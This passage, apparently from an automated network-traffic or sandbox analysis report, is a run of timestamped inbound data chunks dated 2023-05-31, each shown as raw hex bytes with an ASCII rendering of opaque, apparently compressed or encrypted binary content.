77 7a 22 e6 c6 dd df be bc 1d 1e 44 7c bc 42 3c b5 3b e3 fe 84 ce 5e 42 11 52 57 af 22 45 8b b5 84 c3 a4 9b 63 74 35 d5 16 0e 93 2e 50 6f 63 82 da 06 Data Ascii: H#\rrC`R{'8#Xt7<aw/%4i0{f}o r={Wov~[-isnC</%+!`w '+v@\Os#T;#d8DwCA7*awz"D\|B<;^BRW"Ect5.Poc
2023-05-31 10:22:21 UTC	2857	IN	Data Raw: 26 40 49 8e 7a 02 94 70 52 09 50 b2 a6 12 a0 80 87 4a 80 12 a2 99 00 25 7c b4 04 28 9d ac 10 a0 40 cc 14 23 40 81 ba aa 04 28 39 a8 20 01 4a d6 54 02 94 ec 01 09 50 4a 6a 95 00 a5 d4 4c 43 80 92 66 70 85 00 25 8d 95 42 80 02 83 51 94 00 25 fc 34 04 28 24 6a 08 50 42 d7 11 a0 54 55 4f 80 2a e6 07 08 50 c5 dc 00 01 aa 8c 52 19 01 aa 74 a9 8c 00 55 ba 54 46 80 2a a3 54 46 80 2a 5d 2a 23 40 95 2e 95 11 a0 ca 28 95 11 a0 4a 97 ca 08 50 a5 4b 65 04 28 10 9a c5 09 50 3a 47 0d 01 aa a8 1b 20 40 15 f7 13 04 28 9d 9f 8e 00 a5 f3 d3 11 a0 74 7e 3a 02 94 c9 cf 40 80 32 ba eb 09 50 a5 73 17 04 a8 d2 59 0b 02 54 19 b5 0e 08 50 65 54 38 20 40 19 3d 31 01 ca e8 26 13 a0 4a 38 86 04 28 d3 80 aa 04 28 a3 27 20 40 19 7d 14 02 94 d1 13 13 a0 cc 85 6a 08 50 46 67 2d 01 4a e7 Data Ascii: &@IzpRPJ%\|(@#@(9 JTPJjLCfp%BQ%4($jPBTUOPRtUTFTF]#@.(JPKe(P:G @(t~:@2PsYTPeT8 @=1&J8((' @}jPFg-J
2023-05-31 10:22:21 UTC	2873	IN	Data Raw: 0c 8f 02 d6 3a 75 58 8f 85 db b9 dc 11 cc 15 ee 1d 26 38 6b 08 23 b5 aa 83 40 d6 0c 75 ca dd 20 9a 6f 10 59 41 a6 8c 35 6b 83 33 2f 5f b3 96 de 2b 38 34 68 20 f9 3a 87 b7 34 a3 e3 39 2b 92 f3 88 3a 14 4f f9 85 43 10 bf 2f c5 91 77 2d 84 25 62 93 26 a7 67 13 be 2b 5b 06 01 bf 9f 6a 91 f2 1b 3b ab 59 10 0a c4 4a 06 37 27 c6 85 bb 92 07 49 78 e7 61 5c f8 3d 30 2e bf d0 d9 8e b4 86 71 9c 64 9e 16 eb d8 df 43 78 43 ac 40 8d eb 95 18 f8 73 20 ef 35 08 4b c5 ee df b8 b6 43 b8 53 e8 b1 5b 2a 7f 18 4e 4f 10 52 21 4c 94 ea 9b 09 f1 4b 20 e0 01 aa 79 16 3e dd ac 94 d2 d7 41 fc 3a 51 cf ed 12 fe 20 c4 f7 40 e8 13 53 20 ea f3 8a 94 9e 0a 3a a5 41 c8 84 70 a9 a4 5f 19 c4 f1 55 1d 91 7a b7 42 bc 0d 42 07 84 0d 1a 9f 6d 1f 91 d2 5f 84 f8 6b 10 f0 cd 4d 87 21 1c 85 f0 b1 Data Ascii: :uX&8k#@u oYA5k3/_+84h :49+:OC/w-%b&g+[j;YJ7'Ixa\=0.qdCxC@s 5KCS[*NOR!LK y>A:Q @S :Ap_UzBBm_kM!
2023-05-31 10:22:21 UTC	2889	IN	Data Raw: 0d 1d 85 f4 a1 05 03 e9 e9 ed 6d 19 63 f6 82 85 4b d2 94 b7 43 f9 cc 85 0b 7b fb 7b d2 52 c5 0c a4 a9 c6 fc 6f cf 1b ea 9b 3d 73 70 88 cb 75 b6 06 55 6c a4 a6 ab 45 e9 66 f9 31 15 a2 cb f1 7f cb 61 43 03 1f 5e 15 87 95 5a be 3c bc 88 c3 0a eb 6e eb d0 4c 90 0d 40 75 cc ad fb 3a 81 85 b9 15 ae a9 b3 4d 37 e6 a8 06 54 ae 9b 4e 96 6a bd 5c 16 0b 45 22 d0 de d4 dc ca 14 99 f9 c0 bb 93 e9 29 0f 47 8d 82 8d 36 5a 6e e0 4d 69 2b 1b 71 e4 f3 aa 0e b7 f0 40 11 99 f8 26 54 8b bc 6a 0d 58 af b5 37 37 75 f3 d1 e0 a9 2d 2d fa 60 70 89 56 da 44 e9 1d cd b2 5d 54 4a 69 ed d2 a4 bc 92 5b 2f e7 83 67 22 81 78 e2 cc 46 ab c2 35 78 f0 64 65 2b 90 e5 ba da 9b 74 e1 82 98 87 5c ac a3 43 13 53 ba 42 78 c7 7a d5 c0 c4 f7 94 bc dd 2d c1 51 bf e1 18 d9 31 df f2 02 e9 c0 c3 ba a8 Data Ascii: mcKC{{Ro=spuUlEf1aC^Z<nL@u:M7TNj\E")G6ZnMi+q@&TjX77u--`pVD]TJi[/g"xF5xde+t\CSBxz-Q1
2023-05-31 10:22:22 UTC	2905	IN	Data Raw: ff 7f ed 13 b9 f6 b1 5a ed 5b bf b1 da 5f 18 42 b5 ef 1c 62 d5 be ed 1b ab fd 5b 5c 7b 9e 56 fb d3 5f b7 f6 fa 40 2b 8f 9f 8e e3 a6 05 97 ce 42 e1 13 9f 85 82 fd 6c a0 13 c1 76 12 a3 b5 2f 7d cc 44 65 3f 0e 1c 31 6d 80 5a 99 bf a2 1b a0 d5 2d 25 53 63 a7 ec ea f4 b1 9f 82 29 14 e4 0d 12 0a 6a b0 5d 0f 8c b1 46 e4 bb 7f 93 bd e9 18 8f 7d ef 27 c2 ce a5 11 c2 4e a5 25 e9 58 e8 1b a2 5e 19 37 e6 ce a4 8d 29 4c fd 5a ad f1 23 35 4d 7d 5c 2e c2 24 31 72 c0 88 c3 22 f6 73 62 fe f6 d7 e0 ab 6f b4 cc 8f a2 5c a0 0d 10 7d 97 fa 6e 5a df 77 59 df 57 a6 5a dd d8 6d 25 2f c0 64 78 64 99 65 d2 16 c1 24 75 2a 29 5c 8d 44 2d e6 75 70 00 7c f2 79 27 f0 49 37 f2 c9 59 e4 13 f8 35 5c 95 e3 b1 ca 6e 04 02 49 3a 33 f5 9b 3a 2d 83 88 3a cd 83 64 fb bf b9 79 fc 07 5c f7 cd 7a Data Ascii: Z[_Bb[\{V_@+Blv/}De?1mZ-%Sc)j]F}'N%X^7)LZ#5M}\.$1r"sbo\}nZwYWZm%/dxde$u*)\D-up\|y'I7Y5\nI:3:-:dy\z
2023-05-31 10:22:22 UTC	2921	IN	Data Raw: 2e a5 d1 6a a2 2d 77 bf cf d4 70 df 26 fe 43 1c 84 0b 59 f2 dd 5b a8 b5 f0 52 01 da d5 bc e2 0b d5 d7 d1 2e 9f 16 d3 68 68 84 ad d4 5a 5e 52 43 06 74 72 ac c1 cf 1d a0 2f 4f 87 a7 8f 10 18 1e 2e 3a 58 e1 ee 20 a0 b3 c8 81 72 58 1e 30 17 c4 dc c6 3e f5 e9 57 df 06 37 e9 d6 4b ad 69 64 c2 f7 20 83 2c f0 a6 08 1a 5b 04 84 bf 3d c5 21 7c c7 c7 c4 c3 be 5a d4 9f da 7d e6 3c ad 88 33 ea 19 30 82 6f ef b2 92 67 29 84 79 45 34 ac 28 18 18 ca 52 2b 46 ac 93 b1 12 42 ad 69 ee 0b be d4 dc 17 cd 9c 14 ed 1d 7e dd f7 e2 be 55 7d 6a 10 fd 29 a8 c4 de 56 97 9c b1 7c 0a 7e bf 6b 7e 9f 81 df bb e9 37 d9 b6 29 ba 56 fd fe c0 fc 3e 1a bf 3f a1 df 14 e9 90 1d 94 00 27 ec ca f9 eb ca 42 be 8b 4f 47 71 36 de 6e 76 fc 69 e0 f6 91 7f fa af 7f 45 6c 84 c4 3b 66 bf f7 6a 73 0f 1f Data Ascii: .j-wp&CY[R.hhZ^RCtr/O.:X rX0>W7Kid ,[=!\|Z}<30og)yE4(R+FBi~U}j)V\|~k~7)V>?'BOGq6nviEl;fjs
2023-05-31 10:22:22 UTC	2937	IN	Data Raw: b5 ad bd 67 d5 2a 0c 94 03 3c 7e 4e e7 e8 5d 88 df 1d b8 74 c3 c4 4e 9a b6 0d 54 47 aa 1d 5c 6a a8 47 da 9f d5 f4 89 f5 70 fb 67 14 19 19 1d ee 0c 3e 68 6d 6a df 43 6f c2 c1 94 78 96 64 98 f1 8f ab fb 34 52 76 11 7f 5a b4 20 3d 9a fa 62 fb 79 a1 26 f3 c6 3c 7e 22 cc d6 5c 77 69 24 2d 74 ac 33 d0 4e 5e 2e 50 cf 69 5c 54 c5 f5 d7 58 7f ca 5d 97 44 27 9a d4 82 b4 8d 85 7f 4f 17 f2 5f a6 e1 f3 e5 02 b3 f4 32 f8 db 60 50 af 2c 4d dd 18 e5 eb a2 d1 d4 47 48 2e 46 cb e2 37 c7 b6 e5 e5 83 01 06 66 a8 c7 db 66 d1 49 a2 fa b4 f6 67 40 3f f5 7d aa 62 49 b4 9c 13 9e 26 dd a9 08 e7 92 cd bd 87 ed 81 48 8d d1 b9 d5 eb d4 16 34 74 34 75 4b e6 41 53 73 98 36 e2 29 7d ae 72 ff e3 34 81 38 79 8d d2 68 a1 a5 cb c5 19 d5 d0 a4 3d 4c 22 98 14 f0 82 e5 f6 9b 82 b3 a1 46 2a ad Data Ascii: g<~N]tNTG\jGpg>hmjCoxd4RvZ =by&<~"\wi$-t3N^.Pi\TX]D'O_2`P,MGH.F7ffIg@?}bI&H4t4uKASs6)}r48yh=L"F
2023-05-31 10:22:22 UTC	2953	IN	Data Raw: 4f 54 e8 94 39 8c d5 c2 2e 99 ba 89 b1 35 8b 18 5b d0 84 b9 27 9e a9 78 7f 22 8c 39 28 74 d7 13 cb 19 9b 0f bb 61 3f ec 85 d7 9a 19 ab 87 ae fd fb 2a cc d8 1e 64 ec 65 d8 07 ef c0 16 b8 1c 76 c8 6f 7f c5 d8 c4 5f 62 8e 0a 1b e0 fe 3f 32 d6 7b 25 e6 b5 c0 bf 84 32 5c f8 ee 69 e4 5b f0 16 63 5e d8 92 bb 76 31 d6 09 3d d7 07 ef 1e d8 27 cf 21 ef 5a e8 e7 43 0f 30 16 40 9e 2b 90 67 26 ec 8a 7b f1 7d 6f e4 f7 0c f2 7d 09 cf d0 cd f8 16 50 02 3b 29 1b 36 d4 4f 6e c2 64 d7 83 fa 01 ae 83 bd f4 38 f0 77 20 ff 67 60 27 6c 87 cd f7 36 e0 30 da 32 0e fc f4 24 e0 26 f0 f9 f8 3a 13 73 04 4d ec f2 db 4d ec 5a 8f 89 05 00 3f 47 f8 39 c0 23 3f 35 b1 1d f9 26 f6 31 f8 f5 a6 19 26 16 81 bc 4a b2 98 d8 ef b3 4c 2c 34 c2 c4 82 78 77 83 1f f3 10 37 1b e1 29 78 fe 05 69 a7 8c Data Ascii: OT9.5['x"9(ta?*devo_b?2{%2\i[c^v1='!ZC0@+g&{}o}P;)6Ond8w g`'l602$&:sMMZ?G9#?5&1&JL,4xw7)xi
2023-05-31 10:22:22 UTC	2969	IN	Data Raw: 6f c0 2b 58 48 d6 3c bf 94 21 2a 4d 73 a5 b2 2a b3 89 5e c5 20 c2 56 44 b6 2a bb d9 97 4c 78 21 8e c7 a4 7e 01 33 c5 c2 94 98 ee a1 40 f0 f1 4d fd 5b 0a 21 ff d1 7c f6 39 5e fd 54 e1 74 78 08 4a 79 1d f3 8e 08 cc 0c 37 e3 46 2e f2 51 91 fa 81 22 75 04 63 3d cf 60 d8 6e d2 bb 18 f5 81 e2 3c 90 99 d4 3f 9c 0f b3 90 7a 37 33 e5 83 35 42 18 6c 96 2e be f9 9d a4 fa 87 e4 30 2c 21 60 fd 29 d4 43 4f 98 d4 1b 99 89 21 72 b9 08 cd 04 cd ce 00 3d e3 19 52 bf b2 54 26 90 96 2c f5 d7 97 cb 90 16 64 45 43 f9 d7 aa 72 71 72 56 bf d4 90 53 72 3a 09 ab bf ce 20 bf dd ec bb 20 f5 15 b3 72 a2 a0 02 1f 6d 87 3a 98 10 8f 14 ae df 9f ab 40 d7 9b 1d 78 34 27 a9 3f a2 62 1a 18 5a e1 51 1e 47 8b c6 0a ec 18 85 31 ac de 56 29 b7 14 5e ea 67 a4 a2 27 21 f5 9d 55 b9 52 8c c3 17 7f Data Ascii: o+XH<!Ms^ VD*Lx!~3@M[!\|9^TtxJy7F.Q"uc=`n<?z735Bl.0,!`)CO!r=RT&,dECrqrVSr: rm:@x4'?bZQG1V)^g'!UR
2023-05-31 10:22:22 UTC	2985	IN	Data Raw: 07 54 86 67 6a 33 11 3c 53 9b 23 c1 33 b5 99 3c 3c 53 df a8 02 9e a9 4d 56 c2 33 55 d9 35 c0 33 ab 16 53 c3 33 6b 6f 8d c1 33 6b 6f 8a c1 33 ab 96 e1 e0 99 d5 b3 31 3c f3 10 46 cc 87 67 1e c2 60 f9 f0 cc aa 25 6a 81 67 1e 7a 25 1c 3c b3 f6 e2 1c 3c b3 6a b1 43 81 67 7e f0 ca 38 78 e6 a1 57 c3 c1 33 0f bd 38 07 cf 54 5e 83 74 f0 cc 4a c9 3c 3c b3 72 b5 1a 78 66 a5 42 6a 78 a6 f6 0a 8a e0 99 da 1c 11 9e a9 4a 54 c3 33 a5 4f ba 32 3c 13 7d c6 d4 c0 33 a5 db 56 01 9e 89 9f 63 28 e0 99 dc 87 58 0d 3c 53 fe e4 a3 83 67 b2 4c 1d 3c 13 ed b3 16 9e 29 e7 48 f0 4c e1 b9 8a 02 9e 89 3b 5d 19 9e 89 46 48 01 cf 44 87 b3 0a 3c 53 99 29 c0 33 d1 c3 9b 6a f0 4c 9a 5a 11 9e a9 c8 50 c3 33 c3 44 2d 3c 53 ae 4a 80 67 ca 55 08 f0 4c 2e 41 05 cf d4 26 20 78 66 98 a3 87 67 72 Data Ascii: Tgj3<S#3<<SMV3U53S3ko3ko31<Fg`%jgz%<<jCg~8xW38T^tJ<<rxfBjxJT3O2<}3Vc(X<SgL<)HL;]FHD<S)3jLZP3D-<SJgUL.A& xfgr
2023-05-31 10:22:22 UTC	3001	IN	Data Raw: 96 05 be 4f 2d 37 c8 ac e3 a7 f4 32 55 3a 8f e5 44 ab 64 41 af 50 e8 7c 96 5e 84 5e a5 d0 6e 96 2a df 9a 6a 88 99 be 46 e1 3d 2c a5 1b fe 01 85 87 3a 0f 6a d5 7d 43 86 94 71 58 02 7f 4d 1b 76 a1 d9 43 58 28 09 fc 0d 15 5e 62 08 99 1f 83 9b ff 90 8a 2f ef 8c cf aa a5 c3 79 0c 38 7f 4b 25 57 76 5a 45 92 c0 8f 68 59 89 ce 44 a5 12 9f 55 74 a5 04 e3 48 6b 34 35 8c 41 af 53 6c c4 c8 97 5e bc 95 63 0c 37 12 f8 31 cd 6a 94 c7 e2 b5 b9 39 0d 8c ff 77 14 1a b3 ab 53 b7 52 fd 84 42 59 0e 32 13 bd 41 91 42 e7 58 0d 6b 6f 50 71 7f 4a 85 87 ac 11 9c 3b a2 c4 aa 65 4c 0c e0 9b 14 bc 96 7e bb 23 41 bf 52 8a 14 88 c0 cf e8 e8 b8 8e ac c5 d1 f7 cb 6d 46 c4 0a 9a 83 cd 31 9c f6 41 14 7c 4b 3e b6 d9 0e 5c 9e 0a bd db 31 7e 2d a2 06 cb ba e8 ff 6c b3 47 2d cc 7e 0c c8 93 0f Data Ascii: O-72U:DdAP\|^^n*jF=,:j}CqXMvCX(^b/y8K%WvZEhYDUtHk45ASl^c71j9wSRBY2ABXkoPqJ;eL~#ARmF1A\|K>\1~-lG-~
2023-05-31 10:22:22 UTC	3017	IN	Data Raw: 6c 6e 6b 5f cd ed d5 d6 1c 5c f5 9b 9b f9 ba 66 d8 c7 4c 6c 93 b7 b2 99 db 6a 60 f1 2d ec 35 cc aa fb 6c b6 6c 17 f6 76 83 80 43 07 0b 76 74 55 77 bb 61 8e c7 23 29 1c ba d7 78 3d 1e 65 87 93 59 f3 14 73 5e 13 4d 6c ee ee 32 cc 09 7f c5 6e ec 6b 8b ae 35 cc 89 d8 13 66 53 51 8e 39 e9 6f f8 7e c6 22 c3 9c 84 de 83 61 c9 9f 84 45 1b c5 1b e0 db 8b f8 4e c7 16 a8 05 96 1f b3 d6 1b a1 3e 23 0b fe db a1 3e 1b ff e7 f0 f2 e0 5b 1e 64 0c ff 0a a1 38 38 33 2d 83 ac f0 2f b4 ce 38 6a e2 69 e3 ee e1 ff c3 a7 0d 48 de de c5 4f 1b 6b 9b 7b f0 ac b1 63 20 be 15 da 79 c6 28 72 d6 b8 3d f8 ac f1 29 4e 13 b6 8d f9 85 3f fa 54 e7 87 2c af ae 86 d5 86 39 78 f5 35 b7 ed 47 c8 20 0c ef 34 13 be 5c 91 07 42 5b a2 a3 7d 1d 28 9e 06 c5 f3 a0 c8 e9 88 c3 42 64 4e 7b d1 64 e7 6e Data Ascii: lnk_\fLlj`-5llvCvtUwa#)x=eYs^Ml2nk5fSQ9o~"aEN>#>[d883-/8jiHOk{c y(r=)N?T,9x5G 4\B[}(BdN{dn
2023-05-31 10:22:22 UTC	3030	IN	Data Raw: a9 8c 8b af 56 66 99 cf 7e a4 ec 50 6f 4e c6 7b 1c 10 a4 16 6c f2 35 98 bd 6a 49 c8 51 4b 54 e2 cd c8 d7 34 b5 9d c4 4a 75 08 be 24 2d 3b 5d 52 56 6e 9b 52 05 b4 71 8a ae 47 13 2a 8f ca 6d 15 15 9a 50 4c 7a 9b ec cf b6 b7 29 bd b4 d1 41 9d d0 78 62 e6 da 2d 7f 9d ad 4f 6e b6 86 dc 78 96 ae 6e a7 80 b3 9d 82 ee 31 e5 ba c7 94 e7 1d 4e c8 99 a4 7c 67 92 c2 de 91 71 94 fb c2 21 9e 92 14 b9 c7 54 ec d6 3c 4a 54 9d 34 a2 ea a4 a5 2a 07 2c cb 70 ea 72 85 a9 46 07 97 cf 43 cc 98 33 49 f6 44 a1 d2 0d 21 81 02 6e 09 14 74 8f 25 d7 2d 74 f2 d4 1e 87 9c c7 37 9f c2 32 86 d3 52 85 f5 4d ef aa 0e 6e b7 64 f8 aa db ac 28 52 e5 78 b1 ba 25 4b d2 0e 15 db 8f b3 96 2b 22 bf 0c 94 52 ee 5e fe ff 66 ef 4a a0 db 28 d2 b4 aa 7f c7 94 ed 1c 8e cf 38 07 38 86 90 10 ac 6e db b9 Data Ascii: Vf~PoN{l5jIQKT4Ju$-;]RVnRqGmPLz)Axb-Onxn1N\|gq!T<JT4,prFC3ID!nt%-t72RMnd(Rx%K+"R^fJ(88n
2023-05-31 10:22:22 UTC	3046	IN	Data Raw: 5d 2f 61 4c 5a 14 35 96 7b ab 84 6f 55 d5 46 58 d7 1b 73 da 66 0c bf af 93 ab bc d7 a9 96 c3 ed 36 dd 70 11 eb d9 45 64 77 7d 5b ed ac 03 f9 c3 76 69 61 5b 1f 98 2d 20 84 17 6a e9 0a d8 c2 2b 73 84 57 46 1b fa ab 01 86 10 7b 60 32 39 30 5d 5a 36 a6 d3 e4 39 24 4c e6 88 6d a6 e5 c1 2e bc 58 94 ae 86 c5 92 cc ae 7c 28 e2 de 01 32 8f 47 39 a9 98 56 c8 ed aa 0a 95 15 34 1b a4 f9 6c f7 32 16 6e 7e 55 ee c3 7c 55 d1 82 07 c5 24 5f 52 56 84 55 2e d2 0e 64 90 2b 28 ab 72 55 a6 64 eb fa c1 98 9e 23 77 76 61 92 31 58 53 17 03 3c 53 b2 98 a9 9a 95 6c 2d 5f a9 5b d5 0f 5b 95 97 89 97 19 92 e5 02 4c cf 94 72 c2 e4 1c 05 eb 02 af 52 ed 4b b6 5a 33 30 ad 92 85 57 d9 55 71 54 5d ac 18 42 4d e7 d8 b7 d7 cd c6 b4 5e 5e 97 62 7a a3 c2 6f b4 37 fa ca 30 79 4e 91 3c a7 ea 46 Data Ascii: ]/aLZ5{oUFXsf6pEdw}[via[- j+sWF{`290]Z69$Lm.X\|(2G9V4l2n~U\|U$_RVU.d+(rUd#wva1XS<Sl-_[[LrRKZ30WUqT]BM^^bzo70yN<F
2023-05-31 10:22:22 UTC	3062	IN	Data Raw: 7a 0c 39 7f 0c c8 61 83 26 ed 62 e8 b9 06 af 2c 40 3a 8c b6 4f 01 a4 d8 e0 35 17 90 4f 1f b5 fd a1 2f 10 0e 37 35 ab e7 41 34 af 65 17 4b 69 38 da 59 7d b1 db ab 6f 00 e4 88 51 9f 1f 01 b2 da e0 d5 03 c8 a5 e7 d3 b6 bf 0f c8 08 43 f2 47 b1 15 b3 6c db 00 4f 12 f4 55 5b fa 8b 84 92 66 78 b1 25 de 82 ee d4 e7 5c 40 f0 f1 73 07 29 29 d6 df d4 d6 ad 98 0f c8 af 4a 28 f7 10 20 8f 1a 7e ec 4e 40 ae 4e a2 c8 77 00 59 f3 2a 95 6a 4f b1 90 2d e1 f5 36 20 7f fb 3d a5 39 52 2c a5 ee d0 64 cc 80 59 80 21 8d 71 33 e4 9b d0 9d 76 e5 21 8d 21 8d 2b 01 59 6b 48 75 29 20 4f 0e a7 bc 6e 01 e4 a0 51 f2 46 40 0e 9d 47 69 9e 99 61 11 6f 8c 7f bb 66 38 cf 32 a8 56 00 d2 7f 97 d1 0a 56 c3 d4 4b 40 f2 39 54 ef c3 2f 91 6f 68 24 3e 0a 90 7f 0d 34 35 78 03 c8 8b 96 c3 bd f1 95 90 Data Ascii: z9a&b,@:O5O/75A4eKi8Y}oQCGlOU[fx%\@s))J( ~N@NwY*jO-6 =9R,dY!q3v!!+YkHu) OnQF@Giaof82VVK@9T/oh$>45x
2023-05-31 10:22:22 UTC	3078	IN	Data Raw: d9 d3 50 ea b2 e3 c4 9f 7a 72 0b 5b d4 7d cc 1f 8d f9 a3 6f ba 66 f3 a7 76 2c fe 4c f8 57 93 3f 86 f6 e8 7e 6b af 85 45 ed 4c 3c 04 6e 3a 0e 3b 2c 5c ca 76 32 46 3b ad 9b 17 18 0e 12 11 54 f2 42 ba a4 08 c9 d5 1e 62 61 f3 49 73 4c ea c3 33 9e d7 98 f1 1c da 8f 17 48 10 1a f3 04 09 c0 91 db 66 d3 df 72 85 96 1d a1 fd e5 04 f3 e3 8c f8 c4 9e 7f b6 37 28 19 17 90 8c 6b 24 c6 7d bb da 4a 36 8b ef 97 13 5a 64 87 12 d9 61 04 39 d5 a9 ff 73 38 93 59 bc 96 da 2a d9 ca e6 0a 5f 71 8c 46 b0 9a 49 b4 94 d5 77 b1 62 9a 1d 46 db c2 69 b9 84 90 87 d9 5a 51 cb 28 4e 4b 28 cc ec d5 59 cc de 65 76 66 e1 77 6f 5e 7e ef 60 7e 33 86 56 96 27 1f cd a7 92 7d e6 02 89 3e 73 19 a3 da c1 dd f6 f2 88 77 29 9f 1c a7 04 f5 3e 2c 74 71 85 1e b1 99 91 e4 28 e7 e5 b4 4e c5 e5 8f b2 53 Data Ascii: Pzr[}ofv,LW?~kEL<n:;,\v2F;TBbaIsL3Hfr7(k$}J6Zda9s8Y*_qFIwbFiZQ(NK(Yevfwo^~`~3V'}>sw)>,tq(NS
2023-05-31 10:22:22 UTC	3094	IN	Data Raw: 06 8c 76 7c 08 7b d4 1d 1f ba 35 63 59 a0 fe db 59 a7 e0 bf ed 4c 2a e1 8f f6 c0 23 f5 bf 10 bc e3 f3 67 9d bf ad 0f eb 78 5b f3 74 9a 1d 1f 5e 7f cb 1e b5 05 3f f9 22 78 af c6 ac bc 7b 9e 9d bf 4d f5 ef e8 a4 90 19 b0 c6 3f 15 00 d9 26 8d ed 73 c2 77 50 28 71 25 eb 77 40 ba 94 97 d9 66 04 9b 00 7d 9a 29 80 7f d8 36 4d 1f db a6 21 fa ca 8f 97 5f 75 9b 86 5f 0e 90 6a d9 13 dc 87 bc 07 f9 36 cd 0a b6 4d 63 66 db 34 df 35 89 8e 91 3e f2 74 5d 44 db 34 ff 60 fb 2c 78 0a 48 ca de 87 97 3f 8a 8f 7c 8f 6d e5 2d 53 5e 42 43 ef b7 6c c7 45 db 25 e8 c1 23 b8 39 72 09 37 1b f6 f2 ad 02 e5 1d b6 43 e0 a5 5d 88 2e cd 2e 04 ab 10 67 1b 6e 6f b4 cc 47 95 d5 50 71 0d b2 9e 00 6c 75 7c 0f d7 1f fa 21 8f 41 5b 57 c8 2e 44 12 0e d2 3d 83 81 32 bc ff 0e ec ce 54 5d f9 df 1e Data Ascii: v\|{5cYYL*#gx[t^?"x{M?&swP(q%w@f})6M!_u_j6Mcf45>t]D4`,xH?\|m-S^BClE%#9r7C]..gnoGPqlu\|!A[W.D=2T]
2023-05-31 10:22:22 UTC	3097	IN	Data Raw: 75 a0 65 41 be f9 3e 72 56 70 fe d0 43 ee 1f 52 af 84 fa 53 3c 3e c0 c5 13 b5 fd e1 ba ae 22 e2 ad ed 9d 96 43 ca 0b 4c 8d 4a fe 72 e7 85 a4 8d ec 57 0a 83 1c 18 76 87 3b 30 7c 55 75 60 c8 d4 7a 5c 1a 9c e6 77 60 88 d4 23 47 b4 3f 14 e6 c0 b0 51 a5 1e 05 8c 7a 20 ed 08 f3 c3 28 99 99 0f c6 4f fd 5a 21 a3 18 29 9c 62 4c 53 76 5e 0a 25 0d 8f 4e 44 b5 9f f9 7b f9 06 7d 8a e4 02 a5 65 22 18 07 dd 9f 46 33 97 87 e8 11 97 c4 df 43 58 d0 bd 09 e8 eb f0 98 53 f5 64 48 b3 2e 1a 66 1d fa 31 1c 76 ca 3f eb ca 03 fe 45 b5 b3 4e b9 21 68 b6 1d 8f 30 db de bb 10 70 38 18 c4 e8 de 3b f9 4d dc 1a 06 d0 37 a2 63 43 b3 22 1c a1 7e fb 12 fa a9 9c 52 cf 51 2a 89 cc a5 22 f3 3f 78 61 55 8e fa a1 f2 88 ea ef 90 31 a8 67 be d0 a6 5b 3d 41 5a 8c 23 a0 7c 7f 90 bb 19 7c c8 e3 f3 Data Ascii: ueA>rVpCRS<>"CLJrWv;0\|Uu`z\w`#G?Qz (OZ!)bLSv^%ND{}e"F3CXSdH.f1v?EN!h0p8;M7cC"~RQ*"?xaU1g[=AZ#\|\|
2023-05-31 10:22:22 UTC	3109	IN	Data Raw: ac 66 03 6d 64 b7 33 91 79 93 9e 64 d4 3f a3 e5 79 57 5a f6 19 eb 61 c8 dc 72 88 67 0f f2 d0 9e 40 b9 d1 72 77 d7 e2 32 56 22 ba 0a 83 ef ee a0 12 a1 b9 09 da 52 d7 79 59 d9 2d b1 ae 72 13 da af 5c 6b d9 a9 e2 d7 ec 84 ec ae d6 b8 e8 d9 06 f8 a1 f6 6f 65 ed df 23 77 e3 34 0b 2d 8f 95 56 c7 4a 3b ab b6 2f 96 58 00 f6 97 26 7d 19 da ce 4a 43 21 1f 8d 3e c3 be bf 9e 7d ff 49 84 fe 59 ca ea 78 48 4a b1 74 c2 67 bd b3 6f 48 95 e2 1c 3b a5 17 6d 0a ee d2 62 f5 f6 5b 15 aa 5e 48 79 9a fa 6d 23 8b 0a 7a 16 0b bb 21 da 8f 8f 96 4e 4d 7a 5a 4f 67 5f 6c bc 12 d2 7f ae 0d ac 3e 1d 49 9a 0e 6c 8d 45 c4 81 0e 4c 85 0e 64 fb 7b 80 3f 7b 5b 39 fe 0c 0f c6 9f 0b 88 9f b9 e6 7b be db d7 ed f6 4c f0 f6 30 fb 45 4b af a6 87 00 2f a5 04 da 66 e0 cb 7c ac 36 b1 dc 22 84 6a a3 Data Ascii: fmd3yd?yWZarg@rw2V"RyY-r\koe#w4-VJ;/X&}JC!>}IYxHJtgoH;mb[^Hym#z!NMzZOg_l>IlELd{?{[9{L0EK/f\|6"j
2023-05-31 10:22:22 UTC	3125	IN	Data Raw: 55 24 fb 1c d6 85 f7 07 07 d2 c1 8d 88 1f 68 fb 6a 21 e2 2d da 87 48 b5 5c 8f 09 a8 63 2b 52 a3 fb 94 8c a7 ed b8 46 f3 7a d2 fc f8 c7 08 3c 67 3b ee 40 9d ed f7 23 13 fd 19 1f 61 2c ca c5 a8 75 0b ba d6 fd a6 70 5c 66 78 6e e5 4f 85 8c 3c 85 ed 06 07 07 a9 ac b9 94 52 b7 52 03 61 91 6b 90 4c 52 30 e6 dd d4 32 c6 72 39 72 08 a5 68 6a 6d 20 54 cc 02 da 34 a1 37 e0 84 55 53 4b bd ce 17 09 5c 61 9a af 23 f8 66 12 9b bf 49 3b 87 b1 f3 3d da 29 b4 09 d1 82 56 3e 41 85 b4 3e 4f c8 72 42 bc 8f a0 cd 28 7d 35 1a fe 4b 37 93 ae b9 ec 52 ac 0e 4e 3b ff 4b ba 1b 69 67 e5 7f e0 d6 b7 0a 6d 38 32 c1 8d a8 c1 42 b9 fe 5e 98 ee 21 e8 36 58 7c 07 16 8d eb 29 a3 1d 54 85 c3 97 ca d3 66 2f 7e c3 2e 1a ff 9a d0 7b 09 7d 55 47 95 4e b1 30 4a f9 1c 1c 77 72 57 af 10 7a 5d b1 Data Ascii: U$hj!-H\c+RFz<g;@#a,up\fxnO<RRakLR02r9rhjm T47USK\a#fI;=)V>A>OrB(}5K7RN;Kigm82B^!6X\|)Tf/~.{}UGN0JwrWz]
